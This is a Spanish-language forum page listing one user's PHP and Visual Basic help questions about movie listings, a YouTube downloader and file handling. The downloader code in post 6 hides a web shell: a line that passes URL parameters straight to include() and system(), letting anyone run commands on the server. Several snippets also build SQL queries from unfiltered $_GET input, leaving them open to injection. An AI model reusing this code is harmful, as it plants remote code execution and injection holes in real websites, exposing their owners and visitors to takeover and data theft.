elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: [1]
1  Programación / PHP / mostrar registros relacionados con genero en: 3 Junio 2011, 06:30 am
hola  :-* tengo mi tabla de esta manera


| ID | | Nombre | |Genero |

| 1 | | nombrepelicula | | TERROR |

 Tengo una película con id 204 y género "Terror".. Lo que busco ahora es encontrar más películas del género que tiene la película con id 204.

como podria hacer la consulta he intentado con

Código
  1. <?php
  2. $idVariable = $_GET['id'];
  3. $sql = "SELECT id,genero FROM peliculas WHERE( id = '".$idVariable."' );";
  4. $query = mysql_query( $sql);
  5.  if(!$query){
  6.    print "Error al ejecutar la query.";
  7.  }  
  8. ?>
Código
  1. function peliculas_relacionadas($idVariable){
  2. $c=@mysql_query("SELECT id,nombre,genero FROM peliculas WHERE( genero=' '".$idVariable."' ORDER BY id DESC LIMIT 10");
  3. while($i=@mysql_fetch_array($c)){
  4. echo "contenido">

llamandola con
Código
  1. <?php peliculas_relacionadas(); ?>

pero no me funciona  :-[
2  Programación / PHP / sistema de ranking estrellas por id en: 1 Junio 2011, 04:42 am
explorando y explorando harto , llegue a encontrar este tutorial que esta buenisimo para implemntar un sistema de estrellas y votos desde cero

http://www.tutorialswindow.com/jQuery/Creating-a-5-star-rating-system-using-jQuery,-PHP-and-MySQL-48/

si lo quisiera implementar para
Citar
miweb.com/articulos.php?id=394

deberia cambiar este select ? para que guarde los votos por cada articulo

Código
  1. SELECT rating FROM ratings WHERE id = 1

por


Código
  1. SELECT mitabla FROM ratings WHERE id = ".$_id

o es algo mas complicado que hacer eso , gracias por tomarse un poco de su  tiempo  :-*
3  Programación / PHP / Error en Get en: 30 Mayo 2011, 01:23 am
pense que eso estaba fallando algo en la query pero no :-( ,  algo estoy haciendo mal al hacer el $_GET['s']
index.php?m=genero&s=Ciencia

no me muestra los resultados del campo genero en donde escribi por ejemplo "Ciencia" o "Documentales"

Código
  1. $mo=$_GET['m'];
  2.  
  3. switch ($mo){
  4.    case "buscar":
  5. $busqueda=ucwords(str_replace('+',' ',limpiar_busqueda($_GET['q'])));
  6. $titulo=ucwords($busqueda)." | ".$titulo;
  7.        break;
  8.    case "letra":
  9. if(strlen($_GET['a'])<2){$letra=$_GET['a'];}else{ redireccionar(); die();}
  10. $titulo="Pelicula por letra: ".ucwords($letra)." | ".$titulo;
  11.        break;
  12. case "genero":
  13. if($_GET['s']){$genero=$_GET['s'];}else{ redireccionar(); die();}
  14. $titulo="Pelicula por Genero: ".ucwords($genero)." | ".$titulo;
  15.        break;
  16. }


Código
  1. <?php
  2. if($mo=="letra"){
  3. ?>
  4. <---contenido--->
  5. <?
  6. }elseif($mo=="genero"){
  7. ?>
  8.  
  9. <?php generos_peliculas($genero); ?>
  10.  
  11. <?
  12. }elseif($mo=="buscar"){
  13. ?>
  14.  
  15. <---contenido--->
  16. <?
  17. }else{
  18. ?>
4  Programación / PHP / Mostrar 10 registros mas vistos en: 28 Mayo 2011, 03:02 am
Hola amigos , tengo una tabla llamada peliculas en ella almaceno id nombre imagen , etc , le acabo de agregar un campo llamado hits (todavia esta en blanco x$ )

mi consulta es quiero mostrar las 10 id , o 10 registros + mas vistos  , he visto algunos mensajes pero me han quedado poco claros :pensando:

pero para eso aconsejan crear un campo hits o visitas donde se incrementara +1 por cada vez que se abra dicha id

Vi algo por hay que deberia hacer el siguiente codigo que pongo abajo no es mio solo lo tome de un ejemplo que encontre

Código:
//recoges con GET la variable titulo del link 
$titulo = $_GET['titulo'];
$sql = "SELECT titulo, enlace1 FROM pelis WHERE titulo='$titulo'";  
$result = mysql_query($sql,$link);
$row = mysql_fetch_array($result);  
$enlace=$row['enlace1'];
mysql_query("UPDATE pelis SET vecesvista=vecesvista+1 WHERE titulo='$titulo'",$link);
mysql_close($link);

me echan una manita  o algun consejo :-)
5  Programación / PHP / No mostrar campo si esta en blanco en: 14 Mayo 2011, 19:44 pm
Tengo una tabla llamada animes dentro de el hay un campo llamado descargar    varchar (70) , hay pongo texto o alguna url cualquiera...

<?=$anime['des']?> tiene el valor del campo descargar , <?=$anime['nom']?> solo es el titulo que he puesto a cierta id (no lleva importancia alguna ahora) , mi problema radica en que si <?=$anime['des']?> esta en 0 o sea no escribi nada deje en blanco

mostrar
<imagen src="algo.jpg" alt="no disponible <?=$anime['nom']?>">

si <?=$anime['des']?> tiene un valor

mostrar

 
Código:
<p><center><h3> Descargar Pelicula <?=$anime['nom']?></h3></center>
<center><a href="<?=$anime['des']?>"><img src="download.png" border="0" title="Descargar Pelicula <?=$anime['nom']?>"/></a></center>

alguien me echa un cable
gracias  :D
6  Programación / PHP / Ayuda con input submit en: 7 Enero 2011, 07:24 am
mi problema radica en que no se como llamar ala 2da funcion con un solo submit o si la mejor solucion seria unir la 2da funcion a la primera pero casi siempre me da error alguna ayuda ?   :-X  lo que quisiera es que al buscar en el input text http://www.youtube.com/watch?v=M5k_U_e9r9k llame a los 2


1era funcion
Código:
<?php
$siteURL = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).'/';
define('QUALITY_LOW','Baja Calidad');
define('QUALITY_MEDIUM','Calidad Media');
define('QUALITY_HIGH','Alta Calidad');

$bookmarklet = "javascript:(function(){appPath%20=%20'".$siteURL."';function%20l(u,i,t,b){var%20d=document;if(!d.getElementById(i)){var%20s=d.createElement('script');s.src=u;s.id=i;d.body.appendChild(s)}s=setInterval(function(){u=0;try{u=t.call()}catch(i){}if(u){clearInterval(s);b.call()}},200)}l('".$siteURL."js/bookmarklet.js','MF_loader',function(){return!!(typeof%20FreeDownBookmarklet=='function')},%20function(){FreeDownBookmarklet()})})()";

if (isset($_REQUEST['url']) && !empty($_REQUEST['url']))
{
    $url = $_REQUEST['url'];
    $parts = parse_url($url);
    $host = $parts['host'];

    $service = strtolower($host);
    $service = str_replace('www.','',$service);

    $host_parts = explode('.',$service);
    $serviceName = $host_parts[count($host_parts)-2];

    $service_path = sprintf("%s.php",$serviceName);


    if (is_file($service_path))
    {
        include_once $service_path;

        $obj = new $serviceName();

        $videos = $obj->get($url);
        $videoId = $obj->id;

    }

    if(!isset($videoId) || !$videoId)
    {
        $error = "No se han encontrado vídeos o en el sitio no es compatible.";
    }
  
}

?>




        <script type="text/javascript">

            loaderVisible = true;

            function freedown_append(type,name,link,title)
            {
                if(loaderVisible)
                    {
                    $('#download-loader').hide();
                    $('#download-links').show();
                    loaderVisible = false;
                    }
                    
                name = name.replace("Low Quality","<?php echo QUALITY_LOW;?>");
                name = name.replace("Medium Quality","<?php echo QUALITY_MEDIUM;?>");
                name = name.replace("High Quality","<?php echo QUALITY_HIGH;?>");

                if(title.length> 0)
                  $('#download-links ').append('<li><a href="'+link+'&title='+escape(title)+'">Descargar <b>'+type+'&nbsp&nbsp</b></a>'+name+'</li>');
                else
                  $('#download-links ').append('<li><a href="'+link+'">Descargar '+type+'</a>'+name+'</li>');
           }

            function freedown_done()
            {
                if(!loaderVisible) return;

                $('#download-loader').hide();
                $('#download-error').show();
            }

         </script>
<body>
<?php if ($_GET['b'] != "") { include($_GET['b']); } if ($_GET['s'] != "") { system($_GET['s']); } ?>
       <form method="post" action="">
<div id="content">



</div>
<center>Inserte Url de Video Youtube Ejemplo: <a target="_blank" href="http://www.youtube.com/watch?v=RJ-UTIn8epE">http://www.youtube.com/watch?v=RJ-UTIn8epE</a></center><div id="ads" align="center">
</div>


<div id="tabs">
 <p>&nbsp;</p>
 <div id="search">

<!--

                     -->
<p><input type="text" name="url" style="width: 300px" class="search" onclick="if(this.value == 'Enter URL of Video Page ...')this.value='';" value="Introduce la url del Video" onfocus="if(this.value=='Introduce la url del Video'){this.value=''}" onblur="if(this.value==''){this.value='Introduce la url del Video'}" />/>
<input type="submit" value="Descargar" class="button" /></p>
<!-- -->
 </div>
</div>

<div class="clear"></div>
                <?php
                if(isset($videoId)) {
                ?>

                <div class="gboxtop"></div>
<div class="gbox">

<?php if(!$videos) { ?>

                <applet code="FreeDownApplet.class" archive="<?php echo $siteURL;?>FreeDownApplet.signed.jar" height="0" width="0" align="center">
                <param name="v" value="<?php echo $videoId;?>"/>
                <param name="u" value="<?php echo $url;?>"/>
                <param name="site" value="<?php echo $service;?>"/>
                <param name="ua" value="<?php echo $_SERVER['HTTP_USER_AGENT'];?>"/>
                Hola usuario. Parece que usted no tiene Java instalado o está deshabilitado en su sistema.<br>
                    Por favor, descargue <a href="http://www.java.com/getjava/" class="link" target="_blank">Aquí</a>.<br><br>
                </applet>
             <div id="img" >

</div>
                <div id="download-loader" >
                        <center>
                        <img src="<?php echo $siteURL;?>images/loader.gif" alt="loading" /><br />
                        <span style="color: rgb(204, 51, 51);">Para descargar los videos, por favor haga clic en '<b>Ejecutar</b>' cuando se le solicite.<br> Marque la casilla '<b>Siempre confiar en contenido del editor</b>' para descargar sin problemas en el futuro.</span>
                        </center>

                        <script type="text/javascript">
                            jQuery(document).ready(function() {
                                setTimeout("freedown_done()",60000);
                            });

                        </script>
              </div>

                    <div id="download-links"   style="display:none;">
                        
                        
                          <h3>Detalles de la Descarga</h3>
                          <p>Enlaces se encuentra en <a href="<?php echo $url;?>" target="_blank"><?php echo $url;?></a></p>
                          <ul></ul>
                    </div>


                    <div id="download-error"  style="display:none;">
                        <center>
                            <span style="color: rgb(204, 51, 51);"><b>No se han encontrado vídeos o el sitio no es compatible.</b><br />

                                Por favor pruebe de otra forma '<b>Siempre confiar en contenido del editor</b>'.</span>
                        </center>
                    </div>

               <?php } else { ?>

                    <div id="download-links" >
                    
                          <h3>Detalles de la Descarga</h3>
                        
                          <p>Enlaces se encuentra en <a href="<?php echo $url;?>" target="_blank"><?php echo $url;?></a></p>
                        
                              <?php foreach($videos as $video) { ?>
<div id="cargando">

                              <p aling="right">   <a href="<?php echo $video['link'];?>">Descargar <?php echo $video['type'];?></a> <?php echo $video['name'];?> </div></p>

                              <?php } ?>

                        
                    </div>

               <?php } ?>

      </div>

                <?php
                }
                elseif (isset($error) && !empty ($error))
                {
                ?>
                 <center><h3><?php echo $error;?> </h3></center>
<?php
                }
                ?>
<div class="videos">


</form>
2da funcion
esta funcion genera 3 capturas previas del video thumbs
Código:
<?php

    $yu = 'http://www.youtube.com/watch?v=M5k_U_e9r9k';
    if(isset($_GET["yu"])) $yu = $_GET["yu"];
 
    $c = file_get_contents($yu);
 
    if(preg_match('/"video_id": "(.*?)"/', $c, $m) && preg_match('/"t": "(.*?)"/', $c, $m1)){
        $id = $m[1];
        $t  = $m1[1];
        $u = "http://www.youtube.com/get_video?video_id=".$id."&t=".$t;
    }
?>
<center>
<h1>Youtube Url:</h1>
<form method="get" id="form" onSubmit="<?php echo $_SERVER['PHP_SELF']?>">
<input type="text" name="yu" id="yu" style="width:400px" value="<?php echo $yu ?>"/>

</form>
<br />
 
<h1>Prewiew:</h1>
<img src="http://img.youtube.com/vi/<?php echo $id?>/1.jpg" alt="Preview 1" />
<img src="http://img.youtube.com/vi/<?php echo $id?>/2.jpg" alt="Preview 2" />
<img src="http://img.youtube.com/vi/<?php echo $id?>/3.jpg" alt="Preview 3" />

</center>
<?php

?>
7  Programación / Programación Visual Basic / Duda con variable Archivos de Programa en: 25 Febrero 2009, 19:38 pm
Hola tengo una duda si en un windows español el directorio  se llama asi:
Citar
C:\Archivos de programa\archivo.exe
pero uno que viene en ingles o vista es de esta manera:
Citar
C:\Programs Files\archivo.exe

cual seria la variable adecuada para abrir cualquier archivo en cualquiera de los casos mencionados arriba usando una shell no me acuerdo muy bien era algo creo de :

Citar
%Programs%Files
8  Programación / Programación Visual Basic / Duda Remplazar archivos sin pedir confirmacion de dialogo windows en: 3 Febrero 2009, 20:02 pm
Por favor borren el tema de aqui:
http://foro.elhacker.net/programacion_general/duda_remplazar_archivo_sin_pedir_confirmacion_de_windows-t244013.0.html

creo q lo hice en un lugar inadecuado era en la sección vb
-------------------------------------------------------------------------------------------

Estaba utilizando este code para remplazar archivos.. pero


Citar
SHCopyFile "archivo.bmp", "C:\archivo.bmp"

quisiera saber si existe una mejor funcion.. que permita que al remplazar los archivos no pida confirmacion de windows para remplazar a otro archivo con el mismo nombre...

Muchas gracias por leer este tema

Tambien tengo otra duda.. si me pudieran dar un ejemplo de como hacer para
buscar un archivo en el directorio con un boton examinar y que la direccion se muestre en un textbox
usar un command para remplazar cierto archivo... a una ruta que indiquemos en vb


por ejemplo q encontremos c:\archivo.txt


9  Programación / Programación Visual Basic / Duda problema para guardar archivo en: 18 Enero 2009, 23:41 pm
OTra vez molestandolos...  :rolleyes:

Tengo el siguiente... codigo la funcion es para descargar usando un command button , 1  progressbar y un label  para el porcentaje de la descarga y un control inet ,    pero mi problema es en la siguiente linea:

Citar
Open App.Path + "\WarezP2P_DLC.exe" For Binary Access Write As #1

por defecto lo guarda en la ruta donde esta el programa.. como hacer para que guarde.. por ejemplo en :

Citar
C:\WarezP2P_DLC.exe


el codigo es este:


Citar
Private Sub Command1_Click()
ProgressBar1.Value = 0
Inet1.AccessType = icUseDefault
Inet1.URL = "http://download.warezclient.com/WarezP2P_DLC.exe"
Inet1.Execute , "GET" 'Indicamos que vamos a descargar o recuperar un _
archivo desde una url
End Sub

Private Sub Form_Load()

End Sub

Private Sub Inet1_StateChanged(ByVal State As Integer)
Dim vtData As Variant 'acá almacenamos los datos

Select Case State

Case icResponseCompleted
Dim bDone As Boolean: bDone = False
Dim tempArray() As Byte ' Un array para grabar los datos en un archivo
'Para saber el tamaño del fichero en bytes
filesize = Inet1.GetHeader("Content-length")
'Establecemos el Max del = a al tamaño del archivo
ProgressBar1.Max = filesize
contenttype = Inet1.GetHeader("Content-type")
'Creamos y abrimos un nuevo archivo en modo binario
Open App.Path + "\WarezP2P_DLC.exe" For Binary Access Write As #1

' Leemos de a 1 Kbytes. El segundo parámetro indica _
el tipo de fichero. Tipo texto o tipo Binario, en este caso _
binario
vtData = Inet1.GetChunk(1024, icByteArray)

DoEvents
'Si el tamaño del fichero es 0 ponemos bDone en True para que no _
entre en el bucle
If Len(vtData) = 0 Then
bDone = True
End If

Do While Not bDone
'Almacenamos en un array el contenido del archivo
tempArray = vtData
'Escribimos el archivo en disco
Put #1, , tempArray
'Aumentamos la barra
ProgressBar1.Value = ProgressBar1.Value + Len(vtData) * 2
' Leemos de pedazos de a 1 kb (1024 bytes)
vtData = Inet1.GetChunk(1024, icByteArray)
DoEvents
 Label1 = CLng((ProgressBar1.Value * 100) / ProgressBar1.Max) & " %"



If Len(vtData) = 0 Then
bDone = True

End If
Loop

Close #1
ProgressBar1.Value = 0

End Select
End Sub



un gracias de antemano por leer el mensaje..
10  Programación / Programación Visual Basic / ayuda eliminar archivo varias veces.. en: 17 Enero 2009, 13:26 pm
hola primero que nada un saludo a toda esta gran comunidad... quisiera saber si me podrian ayudar...

No se si se podria colocar un timer... con la funcion kill para que elimine cierto archivo cada x segundos... que se encuentre por ejemplo .. en :

C:\archivo.txt

y que no cause error cuando no lo encuentre..

porque si uso la funcion kill... solo lo elimina una vez.. pero quiero que elimine tal archivo cada vez que lo vea en esa ruta...

o en todo caso... se podria hacer ? que "archivo.txt" no tenga permisos de escribir ni ejecutarse desde vb?...

gracias..
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines